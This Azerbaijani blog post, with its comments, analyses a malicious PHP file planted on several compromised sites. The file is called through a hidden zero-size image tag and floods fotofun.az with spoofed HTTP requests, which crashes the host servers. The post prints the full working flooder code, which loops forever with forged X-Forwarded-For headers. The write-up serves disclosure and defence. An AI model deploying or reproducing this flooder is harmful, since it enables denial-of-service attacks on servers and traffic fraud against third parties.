Təhlükəsizlik araşdırması

Deməli belə. Dünən bir tanış saytdan “500 server error” aldığını dedilər. Ona bir baxım dedim. Baxanda qarşıma bir fayl çıxdı hansı ki, bunu yazan adam sonsuz döngü ilə öz saytına trafik yığır. Biraz araşdırdıqdan sonra bu faylın ancaq bir yox bir neçə saytda olduğunu gördüm. Bu saytlar arasında tibb mərkəzi, media saytı, porno saytlar və s. var idi. Hər nəysə bu faylı axır ki, atılanlardan birin də tapdım və ‘source code’ baxdım. Deməli o PHP aşağıdakı işi yerinə yetirir. PHP orta anlayışı olanda təqribi işi anlayıblar. Olmayanlara isə qısaca izah edim. Deməli adam bu qaynaq kodlu bir PHP-i bir neçə sayta yükləyir və o saytların ən alt hissəsində bu kodu çağırıb işlədir.

<img src="o_faylin_unvani" width="0" height="0" />

Nəticədə o saytlardan hücum edən adamın saytına trafik gedir və while(1) sistemdə sonsuz döngü etdiyi üçün o saytların serverləri çökür. Hər nəysə bu da bir yana maraqlı olan isə tamam başqa oldu. Mən bu hansı xəbər saytına yerləşdirilibsə o sayta zəng edib dedim ki, saytınızda belə bir şey var onu təmizləyin. O xəbər saytı publika.az idi. Bunlarda saytlarını düzəltmək əvəzinə götürüb bəzi qurumlara şikayət ediblər ki, digər bir media orqanının serverlərindən onlara atak olunur. Bunu mən araşdırma etdikdən sonra bildim. Mən də vəziyyətə aydınlıq gətirmək üçün bu yazını yazdım.

Publika.az source code

Hər nəysə hər ehtimala qarşı siz də ehtiyatlı olun. Belə bir problemlə qarşılaşmamaq üçün.

P.S. Maraqlı gələn isə odur ki, bizim media saytlarından hansına hücum oldusa digər media saytını günahkar bilir. Ay balam bir araşdırın görün sizə hücum hardan gəlir log-larınıza baxın sonra danışın da 🙂 Kodlardan da görəcəksiniz ki, hücum edən, daha doğrusu sizin serveri işlədib özünə trafik yığan digər bir saytdır.

Ən sonda isə kodu sizlərlə paylaşım 🙂

<?php
set_time_limit(0);
while(1)
{
	$dominio='fotofun.az';
	$ruta='/index.php';
	$ip_simulada = rand(1,254).'.'.rand(1,254).'.'.rand(1,254).'.'.rand(1,254);
	$socket = fsockopen($dominio, '80', $errno, $errstr, 30);
	$header =  "GET ".$ruta." HTTP/1.1\r\n";
	$header .= "Host: ".$dominio."\r\n";
	$header .= "User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20120803 Firefox/17.0.1 Chrome Gecko 16.10 \r\n";
	$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpg,image/gif,*/*;q=0.5\r\n";
	$header .= "Accept-Language: arm-arm,arm;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
	$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
	$header .= "Keep-Alive: 200\r\n";
	$header .= "Proxy-Connection: keep-alive\r\n";
	$header .= "Remote Server: $dominio\r\n";
	$header .= "Referer: http://".$dominio.$ruta."\r\n";
	$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$header .= "X-Forwarded-For: ".$ip_simulada."\r\n";
	$header .= "Via: $dominio\r\n";
	$header .= "Connection: Close\r\n\r\n";

	$send_header = fwrite($socket,$header);
}
?>

8 comments

  1. Rustem   •  

    Siz o kodu oldugu kim i niye yazmmamisiz ? Mence sizde neyse onlarla elq\aqelisiz

    • Sənan Quliyev   •     Author

      Hansı kodu olduğu kimi yazmamışam? Siz çox xəyalpərəstsiniz 🙂 Kod olduğu kimi yazılıb. Hətta hansı sayt olduğu da verilib. Əvvəl yazmadım, amma sonra belə şərhlərin başımı ağrıtmaması üçün o kodun fotofun.az saytı üçün trafik göndərdiyini yazdım.

  2. Ulduz   •  

    menim basima da gelib bunun qarsisini 1 defeleik nece almaq olar

    • Sənan Quliyev   •     Author

      Ulduz xanım, bunun qarşısını bir dəfəlik almaq biraz mümkün deyil. Ona görə ki, bu adidir. Əgər sizin sayta kimsə shell yükləyə bilirsə və ya fayllarınıza hansısa yolla çata bilirsə o redaktə edib öz kodlarını yerləşdirir. Sonsuz döngünün qarşısını ala bilərsiniz ancaq, oda ki, serverdə set_time_limit(0); funksiyasını deaktiv edərək. Server özünüzündürsə bunu özünüz php.ini dən edə bilərsiniz. Yox əgər hostingi almısınızsa hosting firması ilə əlaqə saxlayın.

  3. Pingback: Yalnış anlaşılmalar | Sanan Guliev

  4. Kombiservis.az   •  

    Ortagim boyuyub ve yene ish bashindadir, Bashini bunlarla yormaq evezine soz verdiyin meseleni hell ele:)

    • Sənan Quliyev   •     Author

      Məhz sənin də başına belə şeylər gəlməməsi üçün üzərində ciddi iş gedir 😉

Leave a Reply to Ulduz Cancel reply

Your email address will not be published. Required fields are marked *